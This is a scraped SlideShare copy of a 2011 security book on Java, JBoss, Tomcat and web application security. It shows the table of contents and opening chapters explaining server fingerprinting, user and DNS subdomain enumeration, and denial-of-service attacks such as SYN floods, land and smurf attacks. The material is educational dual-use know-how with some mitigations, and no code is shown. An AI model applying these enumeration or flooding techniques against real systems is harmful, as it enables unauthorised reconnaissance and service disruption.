SlideShare a Scribd company logo
Java,
JBoss, Tomcat &
Web Application
Security
D e f e n s i a
2 0 1 1
Rafel Ivgi
This book introduces the world of hacking and involves
the reader with the current players, the rules of the
game, motivation and new trends.
1 | P a g e
TABLE OF CONTENTS
Introduction to Web Application Security..................................................................................... 15
Foot-printing visiting Reconnaissance....................................................................................... 15
Foot-Printing each Service Server Software Name and Version ........................................... 15
Enumeration Overview of System Hacking Cycle...................................................................... 19
Enumerating the allowed HTTP Methods on a Web Server:................................................. 19
Enumerating Usernames Using Google..................................................................................... 20
Exposed Configuration Files .................................................................................................. 20
Private User Directories............................................................................................................. 21
Apache User Enumeration..................................................................................................... 21
WordPress Authors Template User Enumeration Vulnerability ........................................... 22
DNS Enumeration...................................................................................................................... 24
Dictionary Based DNS Enumeration...................................................................................... 24
Brute Forcing DNS Sub-Domains............................................................................................... 25
Denial-of-Service Real World Scenario of D.o.S Attacks ........................................................... 26
Ping of Death......................................................................................................................... 26
Permanent denial-of-service attacks – PDOS........................................................................ 26
IP Spoofing................................................................................................................................. 27
Land Attack................................................................................................................................ 27
SYN Flood............................................................................................................................... 28
SYN Flood + IP Spoofing......................................................................................................... 30
Reflected attack: Source IP Spoofing + SYN Sent ...................................................................... 31
Distributed attack – DDOS..................................................................................................... 32
Amplification/Smurf attack ................................................................................................... 34
Session Hi-Jacking - What is Session Hi-Jacking?....................................................................... 36
Hacking Web Servers How Web Servers Work ......................................................................... 42
Components of a generic web application system ............................................................... 42
URL mappings to the web application system .......................................................................... 43
Flowchart for a one-way web hack ....................................................................................... 44
Finding the entry point.......................................................................................................... 45
2 | P a g e
Exploiting URL parsing........................................................................................................... 46
Exploiting poorly validated input parameters....................................................................... 46
Exploiting SQL injection......................................................................................................... 46
Automating the POST process............................................................................................... 48
Web based command prompt............................................................................................... 49
File uploader.......................................................................................................................... 52
One-Way Privilege Escalation................................................................................................ 54
Web Application Vulnerabilities Web Application Setup.......................................................... 55
XSS – Cross-Site-Scripting...................................................................................................... 55
Automated exploiting bots.................................................................................................... 59
Cross Site Request Forgery (CSRF/XSRF/Session Riding)....................................................... 60
Open/Un-Validated Site Redirection / Cross Domain Redirect............................................. 63
SQL-injection - What is SQL Injection? ...................................................................................... 67
Introduction........................................................................................................................... 67
SQL injection Prevention....................................................................................................... 72
Web-Based Password Cracking Techniques Authentication – Definition................................ 74
Linux Hacking - Why Linux?....................................................................................................... 81
Linux/Apache privilege escalation......................................................................................... 81
Uploading the UNIX attack tools ........................................................................................... 81
ptrace1.c................................................................................................................................ 81
Buffer Overflows Why is Programs/Applications Vulnerable?.................................................. 88
Verify the bug........................................................................................................................ 88
Process Memory.................................................................................................................... 90
The Stack ............................................................................................................................... 92
The debugger....................................................................................................................... 101
Determining the buffer size to write exactly into EIP ......................................................... 105
Find memory space to host the shellcode .......................................................................... 109
Jump to the shellcode in a reliable way .............................................................................. 112
Get shellcode and finalize the exploit ................................................................................. 118
What if you want to do something else than launching calc? ............................................ 120
3 | P a g e
Heap Overflows................................................................................................................... 124
Exploiting Heap Overflows .................................................................................................. 126
Off-By-One........................................................................................................................... 130
Signed vs. Un-Signed ........................................................................................................... 130
Memory Protection Mechanisms........................................................................................ 131
SafeSEH................................................................................................................................ 132
Address Space Layout Randomization (ASLR) ..................................................................... 133
NX (No eXecute – Hardware DEP)....................................................................................... 134
Basic Intoduction To Cryptography ......................................................................................... 138
Hash..................................................................................................................................... 138
MD5 HASH “Reverse”.......................................................................................................... 139
Rainbow Tables.................................................................................................................... 140
SSL........................................................................................................................................ 141
Java Language Security and Bytecode Verification ..................................................................... 143
Acceptance-test driven development for web applications ....................................................... 160
ATDD is a simple process change that can have far-reaching implications for your
development projects. ............................................................................................................ 160
From acceptance tests to ATDD .............................................................................................. 161
ATDD in practice...................................................................................................................... 161
Automating your acceptance tests...................................................................................... 162
ATDD tools........................................................................................................................... 163
Automating acceptance tests for web applications................................................................ 164
In conclusion............................................................................................................................ 165
Java 7: What's in it for developers .......................................................................................... 166
After a long wait and a rough start, Java 7 brings a multitude of improvements for
developers........................................................................................................................... 166
Crash exploit – floating point conversion............................................................................ 167
Escaping the Java Sandbox – Was it ever done?..................................................................... 172
Avoiding NoSQL-injection with MongoDB........................................................................... 172
Secure APIs .......................................................................................................................... 172
Insecure APIs ....................................................................................................................... 173
4 | P a g e
How to encode a URL string or form parameter in java ............................................................. 174
How to use URLEncoder to encode a string and URLDecoder to decode the encoded string
............................................................................................................................................. 175
Result................................................................................................................................... 175
Security code Scanning................................................................................................................ 193
Objectives................................................................................................................................ 193
Industry Application Security Offerings................................................................................... 193
Automated vs. Manual: Advantages ....................................................................................... 193
What Automated Solutions Miss............................................................................................. 194
Conducting the Assessment .................................................................................................... 194
Commercial Dynamic Scanning Tools...................................................................................... 195
Open Source and Low Cost Scanners ...................................................................................... 195
Code Scanning Tools................................................................................................................ 196
Client Side Web Proxies........................................................................................................... 196
Paros Proxy.............................................................................................................................. 197
W3af - Web application attack and audit framework............................................................. 199
IBM Rational App Scan ............................................................................................................ 204
HP Web Inspect ....................................................................................................................... 210
Summary.................................................................................................................................. 215
Enterprise Code Vulnerability Management........................................................................... 233
Cigital’s Enterprise Security Portal (ESP) ............................................................................. 233
Features and Benefits:............................................................................................................. 234
Submissions Portal .............................................................................................................. 234
Analysis – Getting Deeper Results....................................................................................... 234
Reporting............................................................................................................................. 235
Web Application.......................................................................................................................... 236
Gartnet Magic Quadrant ......................................................................................................... 236
WASC Web App Security Statistics.......................................................................................... 241
Summary.............................................................................................................................. 241
Data analysis........................................................................................................................ 242
5 | P a g e
Data analysis according to PCI DSS requirements....................................................................... 251
APPENDIX 1: RISK ASSESSMENT METHODOLOGY....................................................................... 256
APPENDIX 2: ADDITIONAL VULNERABILITY CLASSIFICATION...................................................... 258
APPENDIX 3: STATISTICS.............................................................................................................. 259
Overall Data............................................................................................................................. 259
Automatic scans ...................................................................................................................... 262
Black Box.................................................................................................................................. 264
White Box................................................................................................................................ 266
OWASP Application Security Verification Standard (ASVS)......................................................... 269
Types of security verification .................................................................................................. 269
ASVS......................................................................................................................................... 269
ASVS Detailed requirements ................................................................................................... 270
ASVS Verification Requirements Matrix.................................................................................. 271
Quasi-scientific quantitative matrix analysis........................................................................... 272
Examples of what requirements CAN be verified by automatic code scan ............................ 272
Examples of what requirements CANNOT be verified using automated code scan............... 272
Problems in automatic source code scan................................................................................ 273
Mixing automation and manual work..................................................................................... 273
From manual review to automation ....................................................................................... 274
Conclusion ............................................................................................................................... 274
Using Automatic Tools to Discover Java Security & Reliability Vulnerabilities ....................... 275
Fortify 360: .......................................................................................................................... 275
Another Example:................................................................................................................ 277
Weak XML Schema: Type Any ............................................................................................. 281
Weak XML Schema: Lax Processing..................................................................................... 283
Passwords stored in clear text/base64 in code:.................................................................. 285
Unreleased Resource Streams............................................................................................. 286
Null Dereference ................................................................................................................. 289
Path Manipulation............................................................................................................... 291
Log Forging .......................................................................................................................... 294
6 | P a g e
Command Injection ............................................................................................................. 297
Often Misused: Authentication........................................................................................... 299
Unreleased Resource: Database ......................................................................................... 301
Denial Of Service ................................................................................................................. 304
Password Management: Hardcoded Password................................................................... 307
SQL Injection: iBatis Data Map ............................................................................................ 309
Common Java Code Security Pitfalls ....................................................................................... 311
OWASP ESASPI 2...................................................................................................................... 318
ESAPI 2.0.1 API............................................................................................................................. 318
Java & OpenSSO ...................................................................................................................... 321
Importing the Root CA Certificate for Secure OpenSSO Rainbow Connections ................. 321
RedHat Security JBoss Software & Platform Provider............................................................. 322
JBOSS Security ............................................................................................................................. 335
What is JBoss........................................................................................................................... 335
J2EE Security Configuration and Architecture......................................................................... 335
8.1. J2EE Declarative Security Overview ................................................................................. 336
8.1.1. Security References................................................................................................... 339
8.1.2. Security Identity ........................................................................................................ 340
8.1.3. Security roles............................................................................................................. 341
8.2. An Introduction to JAAS................................................................................................ 347
The JBoss Security Model.................................................................................................... 354
8.5. The Secure Remote Password (SRP) Protocol.................................................................. 407
Secure JMX Console (Authentication Only)......................................................................... 436
Secure JMX Console (Access Control) ................................................................................. 438
Secure the JMX Invokers (Authentication Only).................................................................. 439
Secure the JMX Invokers (Authorization/Access Control)................................................... 440
4.2.1. Modifications Required (Use Case 1) ........................................................................ 440
................................................................................................... 441
Integrate security infrastructures with JBossSX...................................................................... 442
JBossSX uses JAAS to integrate application servers and security infrastructures............... 442
7 | P a g e
J2EE declarative security overview.............................................................................................. 443
Enterprise beans security references.................................................................................. 445
Web application security constraints...................................................................................... 448
Specify the security domain in JBoss........................................................................................... 449
What is JAAS? .......................................................................................................................... 452
The JAAS Core Classes ......................................................................................................... 452
Subject and Principal........................................................................................................... 452
Authentication classes......................................................................................................... 453
Inside the JBossSX JaasSecurityManager ................................................................................ 456
The JAAS in JaasSecurityManager ........................................................................................... 458
The security check ............................................................................................................... 458
JBossSX custom login modules................................................................................................ 460
JBossSX Subject usage patterns........................................................................................... 461
Support for the Subject usage pattern................................................................................ 461
Write a custom login module.............................................................................................. 464
An example.......................................................................................................................... 465
The tutorial1.ear contents................................................................................................... 470
Test the tutorial1.ear deployment from Java Client ........................................................... 483
example1-test0.................................................................................................................... 484
Exploring.............................................................................................................................. 486
Secure your J2EE apps............................................................................................................. 487
Removing the Invokers............................................................................................................ 488
HTTP Invokers...................................................................................................................... 488
HTTPInvoker for JNDI, EJB and JMX..................................................................................... 489
HTTPInvoker for JMS ........................................................................................................... 489
Other invokers..................................................................................................................... 489
SecureTheInvokers .................................................................................................................. 489
Enabling authentication to the RMIAdaptor service........................................................... 489
Enabling authorization to the RMIAdaptor service................................................................. 490
The RMI Class Loading Service ................................................................................................ 491
8 | P a g e
Securing the RMI Dynamic ClassLoading Service ................................................................ 492
Removing the RMI Dynamic ClassLoading Service.............................................................. 493
Secure Using a Tomcat (or another webserver) for dynamic classloading......................... 493
JBossMQ Security Configuration ............................................................................................. 493
Identify a security domain................................................................................................... 493
Configure MDB:s to use security......................................................................................... 494
Use authenticated connections in client code.................................................................... 495
Configure security on the topics and queues...................................................................... 495
Disable Security ................................................................................................................... 495
Removing HSQLDB................................................................................................................... 496
JBoss 3.2 and 4.0.x............................................................................................................... 496
JBoss AS 5.x.x....................................................................................................................... 497
Configuring JBoss for use Behind a Firewall........................................................................ 497
One possible configuration for RMI through a firewall....................................................... 499
PooledInvoker...................................................................................................................... 500
Using mod_proxy with JBoss bundle and Apache2.2.x....................................................... 502
Whentousemod_jkandwhentousemod_proxyforload-balancing............................................. 504
Whentousemod_proxy+mod_proxy_httpandmod_proxy+mod_proxy_ajpforload-balancing.... 505
Usingstickysessions:................................................................................................................... 505
Goingoverthe8KAJPheaderslimits: ........................................................................................... 505
Set Up A Keystore................................................................................................................ 506
SSLSetup .............................................................................................................................. 506
Using a trusted certificate obtained from a well known CA ............................................... 508
Authenticationscenarios............................................................................................................. 509
Setup..................................................................................................................................... 509
UseCases .............................................................................................................................. 509
1-SSLenabledontheserver-thecommoncase....................................................................... 509
4-SSLenabledontheserverwithanopensslCAissuedclientcert-akamutualauthenticationwithCA
issuedclientcert..................................................................................................................... 515
Another(untested)keystore/opensslrecipe:................................................................................. 517
9 | P a g e
Limiting client access using Tomcat (Engine, Host, or Context level) ................................. 520
Limitingclientaccessusingaservletfilter(Servletorurl-patternlevel).......................................... 521
ConfiguringAJavaSecurityManager............................................................................................... 522
HowtoRunJBosswithaJavaSecurityManager ............................................................................ 522
SetUpAMysqlDatasource ............................................................................................................ 523
SettingupaMySQLdatasource.................................................................................................... 524
Downloadthedriver............................................................................................................... 524
Configurethedatasource........................................................................................................ 524
JBossMQ ............................................................................................................................... 525
Troubleshooting..................................................................................................................... 525
Examples............................................................................................................................... 525
jGuard...................................................................................................................................... 526
jBoss......................................................................................................................................... 527
DWR.............................................................................................................................................. 528
securingDWRwithjGuard................................................................................................................. 529
install DWR in the webapp...................................................................................................... 529
DWR.xml.................................................................................................................................. 529
DWR1Permission : a dedicated Permission............................................................................. 529
DWR1AccessControl................................................................................................................ 530
what's about jGuard and DWR interactions?.......................................................................... 530
Chapter 3. security architecture.............................................................................................. 531
3.1. securing an application..................................................................................................... 531
3.1.1. java security architecture.......................................................................................... 531
Note..................................................................................................................................... 532
Caution ................................................................................................................................ 533
3.2. Which jGuard security scopes? ........................................................................................ 533
3.2.1. jGuard and jee users.................................................................................................. 533
3.2.2. security scopes .......................................................................................................... 533
3.3. debugging......................................................................................................................... 534
3.4. configuration files............................................................................................................. 535
10 | P a g e
3.4.1. configuration files used in every context (standalone and web applications).......... 535
Chapter 4. java authentication................................................................................................ 538
4.1. Overall Authentication part.............................................................................................. 538
4.2. AuthenticationManager ................................................................................................... 539
4.2.1. description................................................................................................................. 539
4.2.2. configuration ............................................................................................................. 539
4.2.3. implementations ....................................................................................................... 540
4.3. JAAS Authentication process............................................................................................ 542
4.3.1. javax.security.auth.login.LoginContext ..................................................................... 542
4.3.2. javax.security.auth.callback.CallbackHandler ........................................................... 542
4.3.3. loginModules............................................................................................................. 543
4.3.4. javax.security.auth.login.Configuration .................................................................... 558
4.3.5. javax.security.auth.Subject ....................................................................................... 558
User Security and Access Control in JBoss portals .................................................................. 558
Authentication......................................................................................................................... 559
Authorization........................................................................................................................... 560
User and role management......................................................................................................... 560
The portal permission.................................................................................................................. 562
The authorization provider.......................................................................................................... 562
Making a programmatic security check ...................................................................................... 563
Configuring an authorization domain ......................................................................................... 564
LDAP configuration.................................................................................................................. 565
Single sign-on........................................................................................................................... 567
Implementing security improvements in the JBossAS ............................................................ 571
JMX Console ........................................................................................................................ 571
Enabling JMX Console security in JBoss 5.0 and previous versions .................................... 572
Enabling the JMX Invokers security in all JBoss versions .................................................... 573
Enabling the JMX Console security in JBoss 6.0 .................................................................. 573
Securing the server for production environments.................................................................. 574
Securing the JBPM Console ................................................................................................. 574
11 | P a g e
Securing Web Services in JBoss Application Server with WS-Security.................................... 575
Encrypting web messages ................................................................................................... 577
Generating the certificate ................................................................................................... 578
Securing the server using WS-Security................................................................................ 580
Securing the client using WS-Security................................................................................. 583
Summary.............................................................................................................................. 588
JAAS – Authentication with JBOSS, FORM-BASED................................................................... 588
Java Authentication and Authorization Service, Form based Authentication .................... 588
Authentication using JAAS....................................................................................................... 597
What is JAAS? ...................................................................................................................... 597
Classes and interfaces ......................................................................................................... 598
Administration..................................................................................................................... 599
Application interface ........................................................................................................... 599
Security system integration................................................................................................. 599
What are authentication and authorization?...................................................................... 600
The process of authentication............................................................................................. 600
JAAS configuration in detail................................................................................................. 601
Authentication with a SecurityManager ............................................................................. 604
EncryptingDataSourcePasswords................................................................................................ 605
Asimpleloginmoduleforencryptingadatasourcepassword ......................................................... 605
JBoss AS 3.2.x....................................................................................................................... 606
JBoss AS 4.0.x or 4.2.x.......................................................................................................... 606
JBoss AS 5.1.x....................................................................................................................... 606
A KeyStore based login module for encrypting a datasource password............................. 608
org.jboss.mq.security.SecurityManager.............................................................................. 612
Security (http://wiki.apache.org/tapestry/Tapestry5HowTos) .............................................. 618
Authentication and Authorization related .......................................................................... 618
Integrity ............................................................................................................................... 618
Server Hardening – Implementation Guide (Apache Proxy, Apache Tomcat, Oracle, CentOS).. 620
Add YUM RPM Repositories .................................................................................................... 622
12 | P a g e
Add RPMForge..................................................................................................................... 622
Add EPEL.............................................................................................................................. 622
Update the Machine................................................................................................................ 622
Apache Hardening................................................................................................................... 623
Apache SSL Hardening:........................................................................................................ 623
Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 624
Mod_Security – An OpenSource Web Application Firewall................................................ 625
1.1 Disabling Dangerous HTTP Verbs .................................................................................. 628
1.1.1. Disable TRACE Method........................................................................................ 628
1.1.2. Rewrite Against TRACE/TRACK............................................................................ 628
1.1.3. Rewrite Get, Head & Post as a Whitelist............................................................. 629
1.2. Define Server Hostname ............................................................................................. 629
1.3. Mail Username root exposes Linux Usage .................................................................. 629
1.4. Remove Script Aliases for unused directories (such as cgi-bin…) ............................... 629
2. Operating System (CentOS 5.5) Hardening:........................................................................ 632
2.1. Remove unrequired packages..................................................................................... 632
2.2. Remove system messages/banners ............................................................................ 632
2.3. Harden SSH.................................................................................................................. 633
2.3.1. Upgrading SSH (from default 3.4 to stable 5.8p2) .............................................. 633
2.3.2. Harden Server Configuration............................................................................... 634
2.3.3. Harden the SSH Client ......................................................................................... 635
2.4. Disable IPv6 ................................................................................................................. 635
2.5. Disable unused/unrequired services........................................................................... 635
2.6. Add Scary banner message.......................................................................................... 637
2.7. TCP/IP Hardening ........................................................................................................ 637
2.8. IPTables ....................................................................................................................... 637
3. Apache Tomcat 6.0 Hardening: ........................................................................................... 639
3.1. Tomcat Session ID default name modification:........................................................... 639
3.2. Tomcat session HTTPOnly flag: ................................................................................... 639
3.3. Tomcat – Change Server Banner:................................................................................ 639
13 | P a g e
3.4. Tomcat – Change Tomcat Port to Listen Only Internally:............................................ 640
3.5. Tomcat – Disable The HTTP Verb Trace: ..................................................................... 640
3.6. Tomcat – Define an index page:.................................................................................. 641
3.7. Tomcat – One single custom error page for all errors: ............................................... 641
3.8. Tomcat – Remove Tomcat Example Scripts: ............................................................... 644
3.9. Tomcat – Remove Tomcat Manager application: ....................................................... 644
4. SELinux – Optional Hardening:............................................................................................ 645
4.1. SELinux Apache Hardening.......................................................................................... 645
4.2. SELinux for other services (Experts Only).................................................................... 645
4.2.1. Enable Hardened HTTP........................................................................................ 645
4.2.2. Disable FTP .......................................................................................................... 646
4.2.3. Disable NIS Clients............................................................................................... 646
Apache and Tomcat Security................................................................................................... 646
Policy File Format ................................................................................................................ 649
The Default Policy File ......................................................................................................... 649
Starting Tomcat With A SecurityManager........................................................................... 654
The Default Properties File.................................................................................................. 654
Apache tomcat Website Code Examples – What NOT TO DO ................................................ 664
1. Create/edit the XML file .................................................................................................. 664
2. Code Your Application's Use Of This Resource................................................................ 664
3. Code Your Application's Use Of This Resource................................................................ 665
Java Based SQL Servers: .......................................................................................................... 665
HSQLDB - 100% Java Database http://hsqldb.org/ ............................................................. 665
Connecting Apache to MySQL in SSL....................................................................................... 667
Generating an internal SSL Certificate (for tomcat)................................................................ 667
Create the self-signed keystore........................................................................................... 667
Turn the keystore into a X.509 certificate........................................................................... 667
Delete existing trusted certificate....................................................................................... 667
Import the certificate into cacerts – JRE trusted certificates.............................................. 667
Fixing Tomcat’s binding problems....................................................................................... 668
14 | P a g e
Using an SSL enforcing Connection string........................................................................... 668
How to configure MySQL DataSource in Tomcat 6 ................................................................. 669
Creating a JDBC by code:..................................................................................................... 671
package jdbctest;................................................................................................................. 671
Alternatives to JDBC .................................................................................................................... 672
HA-JDBC: High-Availability JDBC.............................................................................................. 672
Overview.................................................................................................................................. 672
Features................................................................................................................................... 672
Dependent Libraries................................................................................................................ 672
Related Software..................................................................................................................... 672
I need to pass additional parameters to my JDBC driver. How can I specify these in my HA-
JDBC configuration? ............................................................................................................ 673
How does HA-JDBC compare to Sequoia?........................................................................... 673
Tomcat Security........................................................................................................................... 676
Apache Tomcat 7..................................................................................................................... 699
More on Cat's Configuration ............................................................................................ 699
Deploying Your Web Application in Tomcat............................................................. 699
Tomcat's Manager........................................................................................................... 702
Tomcat with SSL .............................................................................................................. 702
User Authentication in Tomcat.................................................................................... 703
Database Connection Pool (for MySQL) .................................................................... 709
Installing SSL Support & Certificate on Apache Tomcat.......................................................... 713
Configure Tomcat's Resource Factory................................................................................. 725
Assiting software from the Linux world ...................................................................................... 735
Authbind.................................................................................................................................. 735
FreeBSD jail.............................................................................................................................. 735
Goals.................................................................................................................................... 736
15 | P a g e
Introduction to Web Application Security
Foot-printing visiting Reconnaissance
Reconnaissance is the step where the attacker attempts to retrieve as much information as
possible on the target. Reconnaissance is truly an art and is one of the most important stages of
the attack process. It is the eyes of the hacker on the hacking court and without it he must
attack blindly, minimizing the odds of success to its minimum.
Foot-Printing each Service Server Software Name and Version
Foot-Printing HTTP Servers
Getting the server type and disclosing internal information such as the local machine’s internal name, internal IP, usage of a proxy or
a reverse proxy and etc…
The following error page reveals that the server is Apache Tomcat, the Machine’s internal name and that the error source was the
proxy component:
The following reveals the server’s type and its exact version:
16 | P a g e
It is possible to change the values of the request parameters, retrieve application errors and
determine the operating system and the local path of the website root folder:
It is possible to identify the server type, the development platform, and installed plugins by
inspecting the returned HTTP headers and the supported HTTP Methods.
17 | P a g e
18 | P a g e
19 | P a g e
Enumeration Overview of System Hacking Cycle
Enumerating the allowed HTTP Methods on a Web Server:
20 | P a g e
Enumerating Usernames Using Google
Exposed Configuration Files
21 | P a g e
Private User Directories
Apache User Enumeration
http://www.example.com/~<username>
When a remote user makes a request for a possible user's default home page, the
server returns one of three responses:
 In a case where username is a valid user account, and has been configured with a
homepage, the server responds with the user's homepage.
 When username exists on the system, but has not been assigned a homepage
document, the server returns the message "You don't have permission to access
/~username on this server."
 If the tested username does not exist as an account on the system, the Apache
server's response includes the message "The requested URL /~username was not
found on this server." or refers to the default error page configured for this error.
For Example:
22 | P a g e
When the user doesn’t exit, it redirects to the website main page:
WordPress Authors Template User Enumeration Vulnerability
There are other places where you might be able to find some usernames. A good
example is WordPress author templates which allow you to extract usernames through
URLs with the following syntax: /wordpress/author/authorname/
i.e.:
http://www.target-domain.com/wordpress/author/admin/
http://www.target-domain.com/wordpress/author/root/
A case when the user doesn’t exist:
23 | P a g e
A case when the user exists:
24 | P a g e
DNS Enumeration
A penetration test project beings in collecting information and mapping all the remotely
accessible organization’s servers. The Domain Name Server can be used to extract some
of the existing subdomains and discover more IPs, with different server types, from Web
Servers to Firewalls, VPNs and Citrix Servers.
The DNS sub domains can be enumerated by using a dictionary of common sub domain
names such as “mail”, “webmail”, “vpn”, “backoffice”, “fw” and etc…
In order to find customized sub domain names, an attacker must run a full remote brute
force attack and is likely to disclose all subdomains names from 1 to 8 characters length
with letters and numbers. Since the DNS protocols is UDP based, the brute force attack
faster than most other network brute force attack.
Dictionary Based DNS Enumeration
25 | P a g e
Brute Forcing DNS Sub-Domains
26 | P a g e
Denial-of-Service Real World Scenario of D.o.S Attacks
Ping of Death
A ping of death (abbreviated "POD") is a type of attack on a computer that involves sending a
malformed or otherwise malicious ping to a computer. A ping is normally 32bytes in size (or 84
bytes when IP header is considered); historically, many computer systems could not handle a
ping packet larger than the maximum IPv4 packet size, which is 65,535 bytes. Sending a ping of
this size could crash the target computer.
In early implementations of TCP/IP, this bug was easy to exploit. This exploit has affected a wide
variety of systems, including UNIX, Linux, Mac, Windows, printers, and routers. However, most
systems since 1997-1998 have been fixed, so this bug is mostly historical.
Generally, sending a 65,536 byte ping packet is illegal according to the IP protocol, but a packet
of such a size can be sent if it is fragmented; when the target computer reassembles the packet,
a buffer overflow can occur, which often causes a system crash.
In recent years, a different kind of ping attack has become widespread - ping flooding simply
floods the victim with so much ping traffic that normal traffic fails to reach the system (a basic
denial-of-service attack).
Permanent denial-of-service attacks – PDOS
A permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack that
damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the
distributed denial-of-service attack, a PDoS attack exploits security flaws which allow remote
administration on the management interfaces of the victim's hardware, such as routers,
printers, or other networking hardware. The attacker uses these vulnerabilities to replace a
device's firmware with a modified, corrupt, or defective firmware image—a process which when
done legitimately is known as flashing. This therefore "bricks" the device, rendering it unusable
for its original purpose until it can be repaired or replaced.
The PDoS is a pure hardware targeted attack which can be much faster and requires fewer
resources than using a botnet in a DDoS attack. Because of these features, and the potential and
high probability of security exploits on Network Enabled Embedded Devices (NEEDs), this
technique has come to the attention of numerous hacker communities. PhlashDance is a tool
created by Rich Smith (an employee of Hewlett-Packard's Systems Security Lab) used to detect
and demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference in
London.
27 | P a g e
IP Spoofing
Land Attack
The attack involves sending a spoofed TCP SYN packet (connection initiation) with the target
host's IP address and an open port as both source and destination.
The reason a LAND attack works is because it causes the machine to reply to itself continuously.
Definition: "A LAND attack involves IP packets where the source and destination address are set
to address the same device."[Citation needed]
28 | P a g e
Other land attacks have since been found in services like SNMP and Windows 88/TCP
(Kerberos/global services) which were caused by design flaws where the devices accepted
requests on the wire appearing to be from them and causing replies repeatedly.
SYN Flood
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN
requests to a target's system. Some systems can mis-detect a SYN Flood when being scanned for
open proxies, as commonly done by IRC servers and services. These are not SYN Floods, merely
an automated system designed to check the connecting IP.
When a client attempts to start a TCP connection to a server, the client and server exchange a
series of messages which normally runs like this:
 The client requests a connection by sending a SYN (synchronize) message to the server.
 The server acknowledges this request by sending SYN-ACK back to the client.
 The client responds with an ACK, and the connection is established.
 This is called the TCP three-way handshake, and is the foundation for every connection
established using the TCP protocol.
The SYN flood is a well-known type of attack and is generally not effective against modern
networks. It works if a server allocates resources after receiving a SYN, but before it has received
the ACK.
There are two methods, but both involve the server not receiving the ACK. A malicious client can
skip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes the
server send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In both
cases the server will wait for the acknowledgement for some time, as simple network
congestion could also be the cause of the missing ACK.
If these half-open connections bind resources on the server, it may be possible to take up all
these resources by flooding the server with SYN messages. Once all resources set aside for half-
open connections are reserved, no new connections (legitimate or not) can be made, resulting
in denial of service. Some systems may malfunction badly or even crash if other operating
system functions are starved of resources this way.
The technology often used in 1996 for allocating resources for half open TCP connections
involved a queue which was often very short (e.g., 8 entries long) with each entry of the queue
being removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). When
the queue was full, further connections failed. With the examples above, all further connections
would be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every
29 | P a g e
3 minutes would prevent all further TCP connections from completing. This allowed for a Denial
of Service attack with very minimal traffic.
SYN cookies provide protection against the SYN flood by eliminating the resources allocated on
the target host. Limiting new connections per source per timeframe is not a general solution
since the attacker can spoof the packets to have multiple sources. Reflector routers can also be
used as attackers, instead of client machines.
Normal:
SYN-flood:
30 | P a g e
SYN Flood + IP Spoofing
31 | P a g e
Reflected attack: Source IP Spoofing + SYN Sent
32 | P a g e
Distributed attack – DDOS
A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidth
or resources of a targeted system, usually one or more web servers. These systems are
compromised by attackers using a variety of methods.
Malware can carry DDoS attack mechanisms; one of the better-known examples of this was
MyDoom. Its D.o.S mechanism was triggered on a specific date and time. This type of DDoS
involved hardcoding the target IP address prior to release of the malware and no further
interaction was necessary to launch the attack.
33 | P a g e
A system may also be compromised with a Trojan, allowing the attacker to download a zombie
agent (or the Trojan may contain one). Attackers can also break into systems using automated
tools that exploit flaws in programs that listen for connections from remote hosts. This scenario
primarily concerns systems acting as servers on the web.
Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the attacker
uses a client program to connect to handlers, which are compromised systems that issue
commands to the zombie agents, which in turn facilitate the DDoS attack. Agents are
compromised via the handlers by the attacker, using automated routines to exploit
vulnerabilities in programs that accept remote connections running on the targeted remote
hosts. Each handler can control up to a thousand agents.
These collections of systems compromisers are known as botnets. DDoS tools like stacheldraht
still use classic D.o.S attack methods centered on IP spoofing and amplification like smurf attacks
and fraggle attacks (these are also known as bandwidth consumption attacks). SYN floods (also
known as resource starvation attacks) may also be used. Newer tools can use DNS servers for
D.o.S purposes. See next section.
Simple attacks such as SYN floods may appear with a wide range of source IP addresses, giving
the appearance of a well distributed DDoS. These flood attacks do not require completion of the
TCP three way handshake and attempt to exhaust the destination SYN queue or the server
bandwidth. Because the source IP addresses can be trivially spoofed, an attack could come from
a limited set of sources, or may even originate from a single host. Stack enhancements such as
SYN cookies may be effective mitigation against SYN queue flooding, however complete
bandwidth exhaustion may require involvement
Unlike MyDoom's DDoS mechanism, botnets can be turned against any IP address. Script kiddies
use them to deny the availability of well-known websites to legitimate users. More sophisticated
attackers use DDoS tools for the purposes of extortion — even against their business rivals.
It is important to note the difference between a DDoS and D.o.S attack. If an attacker mounts an
attack from a single host it would be classified as a D.o.S attack. In fact, any attack against
availability would be classed as a Denial of Service attack. On the other hand, if an attacker uses
a thousand systems to simultaneously launch smurf attacks against a remote host, this would be
classified as a DDoS attack.
The major advantages to an attacker of using a distributed denial-of-service attack are that
multiple machines can generate more attack traffic than one machine, multiple attack machines
are harder to turn off than one attack machine, and that the behavior of each attack machine
can be stealthier, making it harder to track down and shut down. These attacker advantages
cause challenges for defense mechanisms. For example, merely purchasing more incoming
34 | P a g e
bandwidth than the current volume of the attack might not help, because the attacker might be
able to simply add more attack machines.
It should be noted that in some cases a machine may become part of a DDoS attack with the
owner's consent. An example of this is the 2010 DDoS attack against major credit card
companies by supporters of WikiLeaks. In cases such as this, supporters of a movement (in this
case, those opposing the arrest of WikiLeaks founder Julian Assange) choose to download and
run DDoS software.
Amplification/Smurf attack
The Smurf attack is a way of generating significant computer network traffic on a victim
network. This is a type of denial-of-service attack that floods a target system via spoofed
broadcast ping messages.
35 | P a g e
This attack relies on a perpetrator sending a large amount of ICMP echo request (ping) traffic to
IP broadcast addresses, all of which have a spoofed source IP address of the intended victim. If
the routing device delivering traffic to those broadcast addresses delivers the IP broadcast to all
hosts (for example via a layer 2 broadcast), most hosts on that IP network will take the ICMP
echo request and reply to it with an echo reply, multiplying the traffic by the number of hosts
responding. On a multi-access broadcast network, hundreds of machines might reply to each
packet.
In the late 1990s, many IP networks would participate in Smurf attacks (that is, they would
respond to pings to broadcast addresses). Today, thanks largely to the ease with which
administrators can make a network immune to this abuse, very few networks remain vulnerable
to Smurf attacks.
The fix is two-fold:
Configure individual hosts and routers not to respond to ping requests or broadcasts.
